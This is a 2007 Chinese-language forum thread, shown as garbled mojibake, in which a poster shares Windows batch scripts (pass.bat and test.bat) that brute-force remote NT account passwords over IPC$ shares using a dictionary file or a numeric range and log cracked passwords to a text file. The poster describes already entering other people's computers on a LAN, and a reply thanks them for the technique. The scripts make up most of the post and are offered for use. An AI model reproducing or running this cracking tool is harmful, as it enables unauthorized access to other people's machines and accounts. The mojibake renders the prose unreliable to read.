baolai
VIP·|û
¿n¤À 2747
µo¤å 164
µù¥U 2006-9-5 ¨Ó¦Û Taipei
ª¬ºA Â÷½u
|
#1 ¥Îdos©R¥O¯}¸Ñ»·ºÝNT¥Î¤á±K½X
°²¦pª¾¹D¤@ÓNT±b¤á»P±K½X¡A´N¥i¥H¥Î net use \\¥D¾÷\ipc$ "±K½X" /user:"¥Î¤á" »P»·ºÝ¥D¾÷«Ø¥ß³s±µ¡A³o¬O¨C¤@ÓÀb«È©Î¬O¹Ú·Q¦¨¬°¤S©Î¬O¥¿¦b§V¤O¦¨¬°Àb«ÈªºªB¤Í³£ª¾¹Dªº¤èªk¡A¬Æ¦Ü³s§Ú³oÓ³sµæ³¾³£ºâ¤£¤Wªº¤p³¾³£ª¾¹D¡A§Ú¤]¶È¶Èª¾¹D³o¤@±ø¡A§Ú´N¥Î§Ú¶È¶Èª¾¹Dªº³o¤@±ø¦b±JªÙºôùضi¤J§O¤Hªº¹q¸£¡A¦]¬°¥L̪º¹q¸£±K½X³£¬°ªÅ¡A³Q¥L̵o²{¤F¤§«á¬½K¤F¤@¹y¡AµM«á¯É¯É¥[¤W¤F±K½X¡A³o¤U¥i¨SÀ¸¤F¡A·Q¥h°½¿s¥L̪º±K½X¥L̤S¨¾½d±oºò¡A¥u±o·Q¨ä¥L¿ìªk¡A¤]³\¦U¦ì¤j½¼Ì´N·|§Q¥Î¨ä¥L¤èªk¡A½Ñ¦p´M§ä¨t²Î¤§Ãþ±o¨ìºÞ²z³\¥iÅv¡A¦Ó§Ú¤£¦æ¡A¦]¬°§Ú«e±»¡¹L¡A§Ú¥u·|¨º¤@±ø¡A¨º¤S·|¦³¤H»¡¥Î ³nÅé ¼É¤O¯}¸Ñ±K½X´N¥i¥H¤F¡A¤]³\¤£¿ù¡A¦ýº¥ý§Ú¨S¦³¨º¨Ç°ª²`ªº ³nÅé ¤]¨S¦³¤Ñ½á¥h¬ã¨s¨º¨Ç½ÆÂøªº¥Îªk¡A«o¦bµL·N¶¡¬ÝDOSÀ°§U®Éµo²{¤F¤@¨Ç©R¥O¡A·í¯u¬O¤ÑµLµ´¤H¤§¸ô¡G
1¡B¦r¨å¡Gfor /f %i in (¦r¨åÀÉ) do net use \\¥D¾÷\ipc$ "%i" /user:"¥Î¤á"
2¡B¼Æ¦r¡Gfor /l %i in (start,step,end) do net use \\¥D¾÷\ipc$ "%i" /user:"¥Î¤á"
¥H¤W¥i°Ñ¬ÝDOSùرforÀ°§U¡AÁÙ§O»¡¡A¯uÅý§Úµ¹³s¤W´X¥x¾÷¤l¡A¥i°ÝÃD¤]ÀH¤§¦Ó¨Ó¡A³s¬O³s¤W¤F¡A§Ú¤´µM¤£ª¾¹D±K½X¡A¤U¦¸n¥ÎÁÙ±o«·s¥þ³¡¸Õ¹L¡C
¥¿¥¢±æ¡AµL·N¶¡¤Sµo²{¤F¤@Ó¦n¤èªk¡A¤]³\¬O§Ú¤Ó²Â¡A¤]³\§A̧óÁo©ú¡A¡A»¡¤£©w§A̦¤w¸gµo²{¤F¡A¤£¦A»¡¼o¸Ü¡A¤U±´N±N¤èªk¥þ³¡µ¹¥X¡A½Ð¦U¦ì¤j½¼«ü¥¿¡G
±N¤UÄѤå¥ó¦s¬°pass.bat:
@echo off
echo ------------------------------------------------------------------- >>c:\pass.txt
echo ------------------------------------------------------------------- >>c:\pass.txt
date /t >>c:\pass.txt
time /t >>c:\pass.txt
echo ¯}¸Ñµ²ªG¡G >>c:\pass.txt
if "%6"=="1" goto shit2
:shit1
start "¥¿¦b¯}¸Ñ" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3
goto quit
:shit2
start "¥¿¦b¯}¸Ñ" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5
:quit
±N¤UÄѤå¥ó¦s¬°test.bat:
net use \\%1\ipc$ %2 /user:"%3"
goto answer%ERRORLEVEL%
rem %ERRORLEVEL%ªí¥Ü¨ú«e¤@©R¥O°õ¦æªð¦^µ²ªG¡Anet use¦¨¥\ªð¦^0¡A¥¢±Ñªð¦^2
:answer0
echo »·ºÝ¥D¾÷¡G"%1" >>c:\pass.txt
echo ¥Î ¤á¡G"%3" >>c:\pass.txt
echo ±K ½X¡G%2 >>c:\pass.txt
net use \\%1\ipc$ /delet
exit
:answer2
±Npass.bat»Ptest.bat¦s©ñ©ósystem32¤¤¡A¥Îªk¦p¤U¡G
1¡B¦pªG¥Î¦r¨å¯}¸Ñ¡Gpass.bat ¦r¨åÀɸô®|¤Î¦WºÙ ¥D¾÷ ¥Î¤á¦W
2¡B¦pªG¥Î¼Æ¦r¯}¸Ñ¡Gpass.bat °_©l¼Æ ¨Bªø µ²§ô¼Æ ¥D¾÷ ¥Î¤á¦W 1
±K½X¯}¸Ñ¥X¨Ó¤§«á¡A¦s©ñ©óc:\pass.txt¤å¥óùر¡C
¥t¥~¡A§Ú°µªº³o¨Ç¥u¬O¦b§½°ìºô¤º´ú¸Õ¡A¦pªG»·ºÝ´ú¸Õ¡A¨üºô³t¨î¡A¨ãÅ鱡ªp¥u¯à¾a¦Û¤v¥hºN¯Á¡C
¸ê®Æ¨Ó·½¡Ghttp://www.2000fun.com/bbs/redirect.php?fid=80&tid=2330320&goto=nextoldset
|
|
2007-2-27 04:50 PM |
|
xp20060726
ºaÅA·|û
ÀH½t©ñ¤U,»´¦w¦Û¦b.
¿n¤À 82058
µo¤å 8761
µù¥U 2006-7-26 ¨Ó¦Û µL½t¤j·O,¦PÅé¤j´d.
ª¬ºA Â÷½u
|
#2 ÁÂÁ±z!
DOSªº¾Þ§@¤w¸g«Ü¥Í²¨¤F,
¥¿¦n¦h¾ÇÂI§Þ¥©.
|
|
2007-3-13 04:20 PM |
|
|